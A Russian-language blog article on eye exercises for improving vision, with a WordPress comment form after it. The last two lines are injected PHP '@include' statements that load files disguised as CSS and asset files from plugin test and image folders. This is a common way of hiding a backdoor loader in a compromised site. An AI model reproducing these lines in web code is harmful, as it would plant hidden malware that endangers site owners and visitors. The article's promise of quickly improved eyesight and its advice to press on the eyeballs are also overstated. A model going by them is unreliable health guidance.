Как тренировать свое зрение

timthumb
Современное поколение не может похвастаться остротой зрения. Постоянные зрительные нагрузки, длительная работа за компьютером, провождение выходных за просмотром телепередач приводят к проблемам со зрением. Как тренировать зрение и что делать, чтобы заболевание не начало прогрессировать, – вопросы, ответы на которые вы найдете в данной статье.

Тренировка зрения включает в себя комплекс упражнений, которые позволяют улучшить кровоснабжение глазного яблока, привести в тонус мышцы глаза. Упражнения и бережное отношение к собственному здоровью помогут улучшить зрение уже через короткий промежуток времени. Кроме того, комплекс упражнений для зрения – это еще и отличная профилактика.

Причины потери зрения

Зрение легко потерять, поэтому, чтобы такая проблема у вас не возникла, нужно знать, каким образом развивать зрение, и обладать инофрмацией о факторах риска.Причинами потери зрения являются следующие:

  • генетическая наследственность, наличие кровных родственников с нарушением зрения;
  • длительная работа за компьютером;
  • редкая смена деятельности в течение дня;
  • длительные нагрузки на зрительный нерв: чтение, письмо при плохом освещении, напряженная кропотливая работа.

Если в вашей жизни имеет место хотя бы один из данных факторов, вам нужно знать, как тренировать зрение.

Упражнения для тренировки зрения

Как тренировать зрение? Тренировка состоит из нескольких простых упражнений, но делать их нужно постоянно, несколько раз в день, тогда результат не заставить себя ждать. Вот некоторые упражнения для глаз.

  1. Каждые полтора-два часа делайте перерыв в работе, сядьте, расслабьтесь, закройте глаза и выполните круговые движения глазным яблоком, будто вы смотрите верх, влево, вниз, вправо. После откройте глаза и сильно зажмурьтесь несколько раз.
  2. Сядьте и закройте глаза, посидите спокойно минуту, отвлекитесь от всех мыслей. Не открывая глаз, выполните круговые движения пальцами, слегка надавливая, затем ослабляя нажим на глазное яблоко.
  3. Тренировать зрение можно как механическими действиями, так и физическими способами. В этом вам поможет небольшая точка на оконном стекле. Внимательно сконцентрируйте внимание на ней обоими глазами, затем посмотрите вдаль. После выполните упражнение попеременно каждым глазом, закрыв другой глаз ладонью.
  4. Также существует комплекс упражнений, связанный с дыхательной гимнастикой. Правильное дыхание увеличивает приток кислорода в мозг и улучшает кровообращение всего организма.

Более подробно о том, как тренировать глаза для улучшения зрения, можно узнать на приеме у окулиста. Если проблемы со зрением уже существуют, выполнение упражнений в сочетании с выполнением рекомендаций врача позволят улучшить результат лечения и ускорить процесс.

Каждый день мы сталкиваемся с деятельностью, которая неблаготворно влияет на остроту нашего зрения. Однако можно свести на нет действие негативных факторов, сделав гимнастику для глаз хорошей привычкой.

Метки:

Ваш отзыв

Ваш e-mail не будет опубликован. Обязательные поля помечены *

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.


@include "wp-content/plugins/acf-content-analysis-for-yoast-seo/tests/php/unit/Configuration/include/4441.css";
@include "wp-content/plugins/advanced-custom-fields/assets/inc/datepicker/images/include/4641.jsc";